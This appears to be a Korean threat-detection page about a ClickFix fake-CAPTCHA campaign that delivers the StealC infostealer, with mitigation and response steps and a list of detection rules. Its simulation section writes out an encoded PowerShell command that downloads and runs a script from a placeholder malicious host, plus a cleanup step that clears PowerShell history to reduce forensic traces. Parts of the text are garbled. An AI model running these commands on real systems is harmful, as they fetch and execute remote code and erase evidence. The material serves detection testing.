ClickFix가 어떻게 은밀한 StealC 정보 탈취자의 문을 여는가
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
단계별로 진행되는 파일리스 침입은 가짜 CAPTCHA를 호스팅하는 손상된 베트남 레스토랑 사이트에서 시작됩니다. 피해자는 위치에 독립적인 쉘코드를 가져오는 PowerShell을 실행하도록 유도되고, 이 쉘코드는 64비트 다운로더를 반사적으로 로드하고 StealC 정보 탈취기를 svchost.exe에 주입합니다. StealC는 브라우저 자격 증명, 암호화폐 지갑 데이터, Steam 및 Outlook 자격 증명, 호스트 세부 정보 및 스크린샷을 수집한 후, RC4로 암호화된 HTTP 트래픽을 통해 유출합니다.
조사
연구원들은 JavaScript 및 PowerShell 로더를 해독하고, Donut 쉘코드 프레임워크가 사용된 것을 확인했으며, 다운로더의 HTTP 페치를 공격자 제어 URL로 추적했습니다. 탈취기는 모듈식 절도 기능과 셀프-삭제 루틴이 있는 빌더 기반 악성코드-서비스형으로 보입니다. 사냥 노트에는 ‘Loader’라는 User-Agent 값과 스테이징 및 실행과 관련된 특정 레지스트리 키가 포함되어 있습니다.
완화
권장 방어책에는 브라우저에서 클립보드 붙여넣기 제한 또는 비활성화, PowerShell 실행 정책 강화, 비정상적인 User-Agent 문자열에 대한 경고가 포함됩니다. 반사적 PE 로딩 및 프로세스 주입 탐지를 추가하고, Base64로 인코딩된 페이로드 전달을 위해 아웃바운드 HTTP 검사를 강제하십시오. 가짜 CAPTCHA 유도에 대한 사용자 교육은 통제 수단으로 간주해야 하며, 사후 대응으로 남겨두어서는 안 됩니다.
대응
발견 시, 엔드포인트를 격리하고 주입된 svchost.exe 인스턴스를 중지하고 쉘코드 검토를 위한 메모리 덤프를 캡처하며 악성 도메인/URL을 차단합니다. 노출된 자격 증명을 재설정하고, 영향 평가를 위해 레지스트리 및 브라우저 아티팩트를 검토하고, 잔여 C2 트래픽을 주시합니다.
공격 흐름
탐지
지연 실행을 위한 PING 사용 가능성 (cmdline을 통해)
보기
의심스러운 파일 다운로드 직접 IP (프록시를 통해)
보기
LOLBAS wmic (cmdline을 통해)
보기
PowerShell을 통한 다운로드 또는 업로드 (cmdline을 통해)
보기
IOCs (SourceIP) 탐지를 위한 방법: ClickFix가 스텔스 StealC 정보 탈취기로의 문을 여는 방법
보기
IOCs (HashSha256) 탐지를 위한 방법: ClickFix가 스텔스 StealC 정보 탈취기로의 문을 여는 방법
보기
IOCs (DestinationIP) 탐지를 위한 방법: ClickFix가 스텔스 StealC 정보 탈취기로의 문을 여는 방법
보기
StealC 정보 탈취기 네트워크 활동 탐지 [Windows 네트워크 연결]
보기
svchost.exe에 StealC를 통한 프로세스 주입 탐지 [Windows 프로세스 생성]
보기
PowerShell EncodedCommand 및 iex(irm) 탐지 [Windows Powershell]
보기
시뮬레이션 실행
선행 조건: 텔레메트리 및 기준선 사전 점검이 통과해야 합니다.
근거: 이 섹션은 검출 규칙을 트리거하기 위해 설계된 적대 기술 전술 절차(TTP)의 정확한 실행을 자세히 설명합니다. 명령어 및 내러티브는 반드시 식별된 TTP를 직접 반영하고 검출 논리에 의해 기대되는 정확한 텔레메트리를 생성해야 합니다.
-
공격 서사 및 명령:
공격자는 짧은 URL이 포함된 피싱 이메일을 수신합니다. 목적은 사용자를 경고하지 않고 원격 PowerShell 백도어를 설치하는 것입니다. 공격자는 C2 서버에서 악성 스크립트를 다운로드하고 즉시 실행하는 Base64 인코딩된 PowerShell 페이로드를 제작하여
iex(irm…)를사용합니다. 인코딩된 명령을 통해 공격자는 실제 명령을 캐주얼한 검사에서 숨기며, 패턴은 검출 규칙과 직접 일치합니다.-EncodedCommand전환기를iex(irm…)를사용하여 인코딩된 명령으로-
악의적인 스크립트(페이로드.ps1)를 만들고
http://malicious.example.com/payload.ps1에 호스팅합니다.http://malicious.example.com/payload.ps1. -
런처 명령 인코딩:
$launcher = "iex((New-Object System.Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))" $bytes = [System.Text.Encoding]::Unicode.GetBytes($launcher) $encoded = [Convert]::ToBase64String($bytes) Write-Output $encoded # 이 값은 다음 단계에서 사용됩니다 -
대상에서 인코딩된 명령 실행:
powershell.exe -EncodedCommand <Base64StringFromStep2>
이것은 Sigma 규칙을 만족하며, 명령줄에 암호화된 텍스트가 포함된 Sysmon ProcessCreate 이벤트를 생성합니다.
명령줄포함-EncodedCommandand 되어 있습니다.iex(irm…)를디코딩된 텍스트는 -
-
회귀 테스트 스크립트:
#----------------------------------------------------------- # 시뮬레이션 스크립트 – PowerShell EncodedCommand + iex(irm) 트리거 #----------------------------------------------------------- # 1. 악성 스크립트 URL 정의 (테스트 서버로 대체) $maliciousUrl = "http://malicious.example.com/payload.ps1" # 2. 스크립트를 다운로드하고 실행하는 일렬 코드 빌드 $cmd = "iex((New-Object System.Net.WebClient).DownloadString('$maliciousUrl'))" # 3. Base64 (유니코드)로 명령 인코딩 $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd) $b64 = [Convert]::ToBase64String($bytes) # 4. 인코딩된 명령과 함께 PowerShell 실행 Write-Host "인코딩된 명령 실행 중..." Start-Process -FilePath "$env:windirSystem32WindowsPowerShellv1.0powershell.exe" ` -ArgumentList "-EncodedCommand $b64" ` -NoNewWindow -Wait Write-Host "시뮬레이션 완료." -
정리 명령:
# 시뮬레이션 페이로드에 의해 생성된 임시 파일 제거 (있다면) # 예: 로컬에 저장된 다운받은 스크립트 삭제 $tempPath = "$env:TEMPpayload.ps1" if (Test-Path $tempPath) { Remove-Item $tempPath -Force Write-Host "임시 페이로드 제거됨." } # 선택적으로 포렌식 추적을 줄이기 위해 PowerShell 히스토리 삭제 Clear-History